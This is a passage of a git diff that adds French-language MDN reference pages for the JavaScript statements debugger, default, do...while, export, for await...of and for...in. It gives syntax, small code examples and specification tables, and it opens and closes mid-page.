+   <td>Ajout de la version étiquetée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.7', 'instruction continue')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-continue-statement', 'instruction continue')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-continue-statement', 'instruction continue')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.statements.continue")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/break", "break")}}</li>
+ <li>{{jsxref("Instructions/label", "label")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/instructions/debugger/index.html b/files/fr/web/javascript/reference/instructions/debugger/index.html
new file mode 100644
index 0000000000..bd8f9f0689
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/debugger/index.html
@@ -0,0 +1,79 @@
+---
+title: debugger
+slug: Web/JavaScript/Reference/Instructions/debugger
+tags:
+  - JavaScript
+  - Reference
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/debugger
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>L'instruction <strong><code>debugger</code> </strong>permet de faire appel à un outil de débogage (qui peut par exemple permettre de placer un point d'arrêt). Si cette fonctionnalité de débogage n'est pas disponible, l'instruction n'aura aucun effet.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><code>debugger;</code></pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on utilise un code avec l'instruction <code>debugger</code> qui permet de démarrer un débogueur (s'il existe) lorsque la fonction est appelée :</p>
+
+<pre class="brush:js">function codeProbablementBogue() {
+    debugger;
+    // exécuter des instructions qu'on veut
+    // examiner, exécuter pas à pas etc.
+}</pre>
+
+<p>Lors que le débogueur est lancé, l'exécution est interrompue au niveau de l'instruction <code>debugger</code>. Cela agit comme un point d'arrêt dans le code du script :</p>
+
+<p><a href="https://mdn.mozillademos.org/files/6963/Screen Shot 2014-02-07 at 9.14.35 AM.png"><img alt="Paused at a debugger statement." src="https://mdn.mozillademos.org/files/6963/Screen%20Shot%202014-02-07%20at%209.14.35%20AM.png" style="height: 371px; width: 700px;"></a></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-debugger-statement', 'Debugger statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-debugger-statement', 'instruction debugger')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.15', 'instruction debugger')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-7.5.3', 'instruction debugger')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-7.4.3', 'instruction debugger')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Uniquement mentionné comme mot-clé réservé.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.statements.debugger")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Outils/Debugger">Le débogueur des outils de développement Firefox</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/instructions/default/index.html b/files/fr/web/javascript/reference/instructions/default/index.html
new file mode 100644
index 0000000000..5293df94ea
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/default/index.html
@@ -0,0 +1,123 @@
+---
+title: default
+slug: Web/JavaScript/Reference/Instructions/default
+tags:
+  - JavaScript
+  - Keyword
+  - Reference
+translation_of: Web/JavaScript/Reference/Statements/switch
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>Le mot-clé <strong><code>default</code> </strong>peut être utilisé à deux endroits en JavaScript : au sein d'une instruction {{jsxref("Instructions/switch", "switch")}} ou dans une instruction {{jsxref("Instructions/export", "export")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-default.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Dans une instruction {{jsxref("Instructions/switch", "switch")}} :</p>
+
+<pre class="syntaxbox">switch (expression) {
+  case valeur1:
+    // Les instructions exécutées quand le résultat
+    // de l'expression vaut valeur1
+    [break;]
+  default:
+    // Les instructions exécutées quand aucune des valeurs
+    // ne correspond à la valeur de l'expression
+    [break;]
+}</pre>
+
+<p>Dans une instruction {{jsxref("Instructions/export", "export")}} :</p>
+
+<pre class="syntaxbox">export default <em>nomN</em> </pre>
+
+<h2 id="Description">Description</h2>
+
+<p>Pour plus de détails, voir les pages sur :</p>
+
+<ul>
+ <li>L'instruction {{jsxref("Instructions/switch", "switch")}} et</li>
+ <li>L'instruction {{jsxref("Instructions/export", "export")}}.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_default_dans_une_instruction_switch">Utiliser <code>default</code> dans une instruction <code>switch</code></h3>
+
+<p>Dans l'exemple qui suit, si <code>expr</code> vaut "Bananes" ou "Pommes", le programme exécutera les instructions correspondantes à chacune de ces valeurs. Le mot-clé <code>default</code> permettra d'indiquer des instructions à exécuter dans les autres cas (<code>expr</code> ne correspond à aucun des cas).</p>
+
+<pre class="brush: js">switch (expr) {
+  case "Bananes":
+    console.log("Les bananes sont à 1.59€ le kilo.");
+    break;
+  case "Pommes":
+    console.log("Les pommes sont à 0.78€ le kilo.");
+    break;
+  default:
+    console.log("Désolé, nous n'avons plus de " + expr + ".");
+}</pre>
+
+<h3 id="Utiliser_default_avec_export">Utiliser <code>default</code> avec <code>export</code></h3>
+
+<p>Si on souhaite exporter une seule valeur ou avoir une valeur par défaut dans un module, on peut utiliser un export avec <code>default</code> :</p>
+
+<pre class="brush: js">// module "mon-module.js"
+let cube = function cube(x) {
+  return x * x * x;
+}
+export default cube;</pre>
+
+<p>Dans un autre script, on pourra simplement faire référence à l'export par défaut :</p>
+
+<pre class="brush: js">// module "autre-module.js"
+import maFonction from 'mon-module';
+console.log(maFonction(3)); // 27
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-switch-statement', 'Instruction switch')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-exports', 'Exports')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-switch-statement', 'switch statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-exports', 'Exports')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.statements.default")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/export", "export")}}</li>
+ <li>{{jsxref("Instructions/switch", "switch")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/instructions/do...while/index.html b/files/fr/web/javascript/reference/instructions/do...while/index.html
new file mode 100644
index 0000000000..444c82245d
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/do...while/index.html
@@ -0,0 +1,91 @@
+---
+title: do...while
+slug: Web/JavaScript/Reference/Instructions/do...while
+tags:
+  - JavaScript
+  - Reference
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/do...while
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>L'instruction <strong><code>do...while</code></strong> crée une boucle qui exécute une instruction jusqu'à ce qu'une condition de test ne soit plus vérifiée. La condition est testée après que l'instruction soit exécutée, le bloc d'instructions défini dans la boucle est donc exécuté au moins une fois.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-dowhile.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">do
+   <em>instruction</em>
+while (<em>condition</em>);
+</pre>
+
+<dl>
+ <dt><code>instruction</code></dt>
+ <dd>Une instruction exécutée au moins une fois et ré-exécutée chaque fois que la condition de test est évaluée à <code>true</code>. On peut exécuter plusieurs instructions au sein d'une boucle grâce à l'instruction {{jsxref("Instructions/block", "block")}} (<code>{ ... }</code>) qui permet de grouper différentes instructions en une seule.</dd>
+</dl>
+
+<dl>
+ <dt><code>condition</code></dt>
+ <dd>Une expression évaluée après chaque passage dans la boucle. Si l'évaluation de la <code>condition</code> donne <code>true</code> (la condition est vérifiée), <code>instruction</code> sera exécutée à nouveau. Lorsque <code>condition</code> donne <code>false</code>, le contrôle passe à l'instruction suivant la boucle <code>do...while</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_do...while">Utiliser <code>do...while</code></h3>
+
+<p>Dans l'exemple suivant, la boucle <code>do...while</code> est parcourue au moins une fois et répétée jusqu'à ce que <code>i</code> ne soit plus strictement inférieur à 5.</p>
+
+<pre class="brush: js">var i = 0;
+do {
+   i += 1;
+   console.log(i);
+} while (i &lt; 5);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.6.1', 'instruction do-while')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-do-while-statement', 'instruction do-while')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Le point-virgule de fin est désormais optionnel.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-do-while-statement', 'instruction do-while')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("javascript.statements.do_while")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/while", "while")}}</li>
+ <li>{{jsxref("Instructions/for", "for")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/instructions/export/index.html b/files/fr/web/javascript/reference/instructions/export/index.html
new file mode 100644
index 0000000000..bb310cb9be
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/export/index.html
@@ -0,0 +1,182 @@
+---
+title: export
+slug: Web/JavaScript/Reference/Instructions/export
+tags:
+  - ECMAScript 2015
+  - Instruction
+  - JavaScript
+  - Modules
+  - export
+translation_of: Web/JavaScript/Reference/Statements/export
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>L'instruction <strong><code>export</code></strong> est utilisée lors de la création de modules JavaScript pour exporter des fonctions, des objets ou des valeurs primitives à partir du module, de sorte qu'ils puissent être utilisés par d'autres programmes grâce à l'instruction {{jsxref("Instructions/import", "import")}}.</p>
+
+<p>Les modules exportés sont interprétés en <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">mode strict</a> dans tous les cas. L'instruction <code>export</code> ne peut pas être utilisée dans les scripts embarqués.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">// Exporter des propriétés individuelles
+export let <var>nom1</var>, <var>nom2</var>, …, <var>nomN</var>; // utilisable avec var, const
+export let <var>nom1</var> = …, <var>nom2</var> = …, …, <var>nomN</var>; // utilisable avec var, const
+export function nomFonction(){...}
+export class NomClasse {...}
+
+// Export d'une liste de valeur
+export { <var>nom1</var>, <var>nom2</var>, …, <var>nomN</var> };
+
+// Renommage des valeurs exportées
+export { <var>variable1</var> as <var>nom1</var>, <var>variable2</var> as <var>nom2</var>, …, <var>nomN</var> };
+
+// Renommage avec la décomposition pour l'affectation
+export const { <var>nom1</var>, <var>nom2: truc</var><var> </var>} = o;
+
+// Exports par défauts
+export default <em>expression</em>;
+export default function (…) { … } // fonctionne avec class, function*
+export default function nom1(…) { … } // fonctionne avec class, function*
+export { <var>nom1</var> as default, … };
+
+// Agrégation de modules
+export * from …;
+export { <var>nom1</var>, <var>nom2</var>, …, <var>nomN</var> } from …;
+export { <var>import1</var> as <var>nom1</var>, <var>import2</var> as <var>nom2</var>, …, <var>nomN</var> } from …;
+export { default } from …;</pre>
+
+<dl>
+ <dt><code>nomN</code></dt>
+ <dd>Identifiant à exporter (afin qu'il puisse être importé via {{jsxref("Statements/import", "import")}} dans un autre script).</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Il existe deux types d'export différents : les exports <strong>nommés</strong> et les exports <strong>par défaut</strong>. Il est possible d'avoir plusieurs exports nommés mais un seul export par défaut. Chaque type correspond à une des syntaxes ci-dessus :</p>
+
+<ul>
+ <li>Les exports nommés :
+  <pre class="brush: js">// exporte une fonction déclarée précédemment
+export { maFonction };
+
+// exporte une constante
+export const machin = Math.sqrt(2);</pre>
+ </li>
+ <li>Les exports par défaut (fonction) :
+  <pre class="brush: js">export default function() {} </pre>
+ </li>
+ <li>Les exports par défaut (classe) :
+  <pre class="brush: js">export default class {} </pre>
+ </li>
+</ul>
+
+<p>Les exports nommés sont utiles pour exporter plusieurs valeurs. Lors de l'importation, il est obligatoire d'utiliser le même nom de l'objet correspondant.</p>
+
+<p>Mais un export par défaut peut être importé avec n'importe quel nom, par exemple :</p>
+
+<pre class="brush: js">let k;
+export default k = 12; // dans le fichier test.js
+import m from './test'; // notez que nous avons la liberté d'utiliser import m au lieu de import k, parce que k était l'export par défaut
+console.log (m); // enregistrera 12</pre>
+
+<p>La syntaxe suivante n'exporte pas le défaut depuis le module importé :</p>
+
+<pre class="brush: js">export * from …;</pre>
+
+<p>Si vous avez besoin d'exporter le défaut, écrivez ce qui suit à la place :</p>
+
+<pre class="brush: js">export {default} from 'mod';</pre>
+
+<p>Il est possible de renommer un export afin d'éviter des conflits de nommage :</p>
+
+<pre class="brush: js">export { maFonction as fonction1
+         maVariable as variable1 };</pre>
+
+<p>On peut également agréger les valeurs exportées à celles d'autres modules qu'on aurait importés :</p>
+
+<pre class="brush: js">// Dans moduleParent.js
+export { maFonction, maVariable } from 'moduleFils1.js';
+export { maClasse } from 'moduleFils2.js'
+
+// Dans le module de plus haut niveau
+import { maFonction, maVariable, maClasse } from 'moduleParent.js';</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_d'exports_nommés">Utilisation d'exports nommés</h3>
+
+<p>Dans le module, on pourra utiliser le code suivant :</p>
+
+<pre class="brush: js">// module "mon-module.js"
+function cube(x) {
+  return x * x * x;
+}
+const machin = Math.PI + Math.SQRT2;
+export { cube, machin };
+</pre>
+
+<p>De cette façon, dans un autre script, on pourra avoir :</p>
+
+<pre class="brush: js">import { cube, machin } from 'mon-module';
+console.log(cube(3)); // 27
+console.log(machin);    // 4.555806215962888</pre>
+
+<div class="note">
+<p><strong>Note : </strong>Si l'import est réalisé dans un script HTML, il faut que celui-ci soit chargé avec l'attribut {{htmlattrxref("type")}} <code>"module"</code> : <code>&lt;script type="module" src="./demo.js"&gt;&lt;/script&gt;</code> sinon il y aura une erreur quant aux origines multiples (<a href="/fr/docs/Web/HTTP/CORS">CORS</a>).<br>
+ Il n'est pas possible de charger des modules JavaScript via une URL <code>file://</code> pour des raisons de sécurité (voir <a href="/fr/docs/Web/HTTP/CORS">CORS</a> également). Il faudra utiliser un serveur HTTP.</p>
+</div>
+
+<h3 id="Utilisation_d'exports_par_défaut">Utilisation d'exports par défaut</h3>
+
+<p>Si on souhaite n'exporter qu'une seule valeur ou avoir une valeur de secours<em> </em>pour le module, on peut utiliser un export par défaut :</p>
+
+<pre class="brush: js">// module "mon-module.js"
+export default function cube(x) {
+  return x * x * x;
+}
+</pre>
+
+<p>Alors, dans un autre script, il sera facile d'importer l'export par défaut :</p>
+
+<pre class="brush: js">import cube from './mon-module.js';
+console.log(cube(3)); // 27
+</pre>
+
+<p>Notez qu'il n'est pas possible d'utiliser <code>var</code>, <code>let</code> ou <code>const</code> avec <code>export default</code>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-exports', 'Exports')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-exports', 'Exports')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer aux données, voyez <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> SVP, et envoyez-nous une <em>pull request.</em></div>
+
+<p>{{Compat("javascript.statements.export")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/import", "import")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Modules">Guide sur les modules JavaScript</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES6 in Depth: Modules</a>, Hacks blog post par Jason Orendorff</li>
+ <li><a href="https://exploringjs.com/es6/ch_modules.html">Livre d'Axel Rauschmayer : "Exploring JS: Modules"</a></li>
+ <li><a href="https://tech.mozfr.org/post/2018/04/06/Une-plongee-illustree-dans-les-modules-ECMAScript">Un billet illustré de Lin Clark, traduit en français, sur les modules</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/instructions/for-await...of/index.html b/files/fr/web/javascript/reference/instructions/for-await...of/index.html
new file mode 100644
index 0000000000..b30668c61c
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/for-await...of/index.html
@@ -0,0 +1,142 @@
+---
+title: for await...of
+slug: Web/JavaScript/Reference/Instructions/for-await...of
+tags:
+  - Instruction
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Statements/for-await...of
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>L'instruction <strong><code>for await...of</code> </strong>permet de créer une boucle qui parcourt les objets itérables asynchrones de la même façon qu'on parcourt les itérables synchrones (tels que les chaînes de caractères ({{jsxref("String")}}), les tableaux {{jsxref("Array")}}, les objets semblables aux tableaux comme {{jsxref("Fonctions/arguments", "arguments")}} ou {{domxref("NodeList")}}), {{jsxref("TypedArray")}}, {{jsxref("Map")}}, {{jsxref("Set")}}. Cette instruction invoque un mécanisme d'itération spécifique et les instructions à exécuter pour chaque propriété de l'objet.</p>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">for await (<em>variable</em> of <em>iterable</em>) {
+  <em>instruction
+</em>}
+</pre>
+
+<dl>
+ <dt><code>variable</code></dt>
+ <dd>À chaque itération, la valeur d'une propriété différente est affectée à <em>variable</em>. Cette variable peut être déclarée avec <code>const</code>, <code>let</code> ou <code>var</code>.</dd>
+ <dt><code>iterable</code></dt>
+ <dd>Un objet pour lequel on parcourt les propriétés itérables.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Parcourir_des_itérables_asynchrones">Parcourir des itérables asynchrones</h3>
+
+<pre class="brush:js">var asyncIterable = {
+  [Symbol.asyncIterator]() {
+    return {
+      i: 0,
+      next() {
+        if (this.i &lt; 3) {
+          return Promise.resolve({ value: this.i++, done: false });
+        }
+
+        return Promise.resolve({ done: true });
+      }
+    };
+  }
+};
+
+(async function() {
+   for await (let num of asyncIterable) {
+     console.log(num);
+  }
+})();
+// 0
+// 1
+// 2
+</pre>
+
+<h3 id="Parcourir_des_générateurs_asynchrones">Parcourir des générateurs asynchrones</h3>
+
+<p>Les générateurs asynchrones implémentent le protocole d'itérateur asynchrone et on peut donc les parcourir avec <code>for await...of</code>:</p>
+
+<pre>async function* asyncGenerator() {
+  var i = 0;
+  while (i &lt; 3) {
+    yield i++;
+  }
+}
+
+(async function() {
+  for await (let num of asyncGenerator()) {
+    console.log(num);
+  }
+})();
+// 0
+// 1
+// 2</pre>
+
+<p>Pour prendre un exemple plus concret, on peut parcourir les données fournies par une API avec un générateur asynchrone grâce à <code>for await... of</code>. Dans cet exemple, on commence par créer un itérateur asynchrone à partir d'un flux de données puis on utilise cet itérateur et <code>for await...of</code> afin de calculer la taille de la réponse fournie par l'API :</p>
+
+<pre class="brush: js">async function* streamAsyncIterator(stream) {
+  const reader = stream.getReader();
+  try {
+    while (true) {
+      const { done, value } = await reader.read();
+      if (done) {
+        return;
+      }
+      yield value;
+    }
+  } finally {
+    reader.releaseLock();
+  }
+}
+// On récupère les données d'une URL et
+// on calcule la taille de la réponse
+// avec un générateur asynchrone
+async function getResponseSize(url) {
+  const response = await fetch(url);
+  // La taille de la réponse, exprimée en octets.
+  let responseSize = 0;
+  // La boucle for-await-of qui parcourt, de façon asynchrone,
+  // chaque portion de la réponse.
+  for await (const chunk of streamAsyncIterator(response.body)) {
+    responseSize += chunk.length;
+  }
+
+  console.log(`Taille de la réponse : ${responseSize} octets`);
+  return responseSize;
+}
+getResponseSize('https://jsonplaceholder.typicode.com/photos');</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-for-in-and-for-of-statements', 'ECMAScript Language: The for-in, for-of, and for-await-of Statements')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.statements.for_await_of")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/for...of")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/instructions/for...in/index.html b/files/fr/web/javascript/reference/instructions/for...in/index.html
new file mode 100644
index 0000000000..a9bf4ad8b0
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/for...in/index.html
@@ -0,0 +1,159 @@
+---
+title: for...in
+slug: Web/JavaScript/Reference/Instructions/for...in
+tags:
+  - Instruction
+  - JavaScript
+  - Reference
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/for...in
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>L'<strong>instruction <code>for...in</code></strong> permet d'itérer sur les <a href="/fr/docs/Web/JavaScript/Caract%C3%A8re_%C3%A9num%C3%A9rable_des_propri%C3%A9t%C3%A9s_et_rattachement">propriétés énumérables</a> d'un objet qui ne sont pas <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Symbol">des symboles</a>. Pour chaque propriété obtenue, on exécute une instruction (ou plusieurs grâce à un {{jsxref("Instructions/bloc","bloc","",1)}} d'instructions).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-forin.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">for (<var>variable</var> in <var>objet</var>) {
+<em>  instructions</em>
+}</pre>
+
+<dl>
+ <dt><code>variable</code></dt>
+ <dd>Un nom de propriété différent est assigné à la variable à chaque itération de la boucle.</dd>
+ <dt><code>objet</code></dt>
+ <dd>L'objet dont les propriétés énumérables et qui ne sont pas des symboles sont parcourues par la boucle.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Une boucle <code>for...in</code> ne parcourt que les propriétés énumérables et qui ne sont pas des symboles. Les objets qui ont été créés par des constructeurs intégrés comme Array et Object ont hérité de propriétés non énumérables de <code>Object.prototype</code> et <code>String.prototype</code> comme les méthodes {{jsxref("String.prototype.indexOf","indexOf()")}} du type {{jsxref("String")}} ou {{jsxref("Object.prototype.toString","toString()")}} depuis {{jsxref("Object")}}. La boucle parcourera toutes les propriétés énumérables de l'objet et aussi celles dont il hérite du prototype du constructeur (les propriétés les plus proches de l'objet dans la chaîne des prototypes primeront sur les propriétés des prototypes).</p>
+
+<h3 id="Les_propriétés_ajoutées_modifiées_ou_supprimées">Les propriétés ajoutées, modifiées ou supprimées</h3>
+
+<p>Une boucle <code>for...in</code> parcourt les propriétés d'un objet dans un ordre arbitraire (voir l'opérateur {{jsxref("Opérateurs/L_opérateur_delete","delete")}} pour plus d'explications quant à l'impossibilité de se fier à un tel ordre, au moins dans le cas où on souhaite gérer plusieurs navigateurs).</p>
+
+<p>Si une propriété est modifiée dans une des itérations de la boucle et que la boucle itère ensuite sur cette propriété, sa valeur sera celle qui a été modifiée. Une propriété qui a été supprimée avant que la boucle n'itère sur celle-là ne sera pas dans la boucle. Les propriétés qui ont été ajoutées à l'objet pendant la boucle peuvent être ou ne pas être pris en compte.</p>
+
+<p>Une bonne pratique consiste à ne pas ajouter, modifier ou supprimer une propriété d'un objet lors d'une itération qui ne concerne pas cette propriété. Il n'y a aucune certitude concernant la prise en compte d'une propriété ajoutée lors d'une telle boucle et il en va de même pour savoir si on a visité une propriété avant ou après qu'elle ait été modifiée ou de savoir si une itération de la boucle concernera une propriété avant que celle-ci soit supprimée.</p>
+
+<h3 id="Utiliser_for...in_et_parcourir_un_tableau">Utiliser <code>for...in</code> et parcourir un tableau</h3>
+
+<div class="note">
+<p><strong>Note :</strong> <code>for...in</code> ne doit pas être utilisée pour parcourir un {{jsxref("Array")}} lorsque l'ordre des éléments est important.</p>
+</div>
+
+<p>Les éléments des indices d'un tableau sont des propriétés énumérables dont les noms sont des entiers, excepté cela, elles sont en tout point identiques aux propriétés des objets en général. Ici aussi, il n'y a aucune certitude que <code>for...in</code> renvoie les indices dans un ordre particulier. Cette instruction listera également les propriétés énumérables dont les noms ne sont pas des entiers et celles qui sont héritées.</p>
+
